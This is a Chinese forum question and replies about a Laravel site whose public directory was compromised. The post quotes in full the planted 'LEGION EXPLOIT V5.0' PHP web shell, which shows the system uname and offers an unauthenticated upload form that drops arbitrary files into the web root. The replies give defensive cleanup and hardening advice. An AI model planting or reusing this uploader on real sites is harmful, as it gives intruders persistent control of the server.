网站public目录下被写入了php文件
问题描述:
发现laravel框架的public目录下被写入了php文件,初始文件是这样的:
<?php echo '<center><h1><font size="7" color="#ff3300">LEGION EXPLOIT V5.0</h1></font>'.'<br><b><font size="4" color="#00ff00">'.'[uname] '.php_uname().' [/uname] '.'</b></font><br><br><br>';
echo'<form method="post"enctype="multipart/form-data">';
echo'<input type="file"name="file"><input name="_upl"type="submit"value="Upload"></form>';
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['file']['name'];
$web = "http://".$_SERVER['HTTP_HOST'];
$dest = $web.'/'.$files;
if( $_POST['_upl']=="Upload"){
if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){
echo "LEGION Exploit Success! -> <a href='$files' target='_blank'><b><u>$web/$files</u></b></a>";}
else{
echo'<b>LEGION Exploit Success!</b>';}}
?>
然后被上传一堆php文件。
先说什么框架吧,我觉得可能是被后门直接注入了。
首先得知道这个文件怎么被上传的吧
写出漏洞来了,得找找你上传入口 输入 这些地方 有入侵的可能性
不是禁止访问,而是 public 下不应该有写入权限吧
这是注入攻击了,你根据服务器上文件的修改时间好好排查吧,不能只关注public下这个文件,可能其他很多地方都有污染了
一劳永逸的解决办法就是自建minio或者用云服务商的s3或者oss之类的文件存储功能
可以考虑web防火墙,免费的可以考虑百度云加速
Laravel什么版本的?debug是不是开启了?可以找下是怎么黑进来的
上传文件的目录只给运行的账号读权限。还有就是不让本网站上传的这个文件的话,就需要查看是不是其他同服务器的网站上传上来的?
检查下网站的安全组或者防火墙,是否暴露了一些服务的端口,比如 redis 端口 6379 而且没有设置密码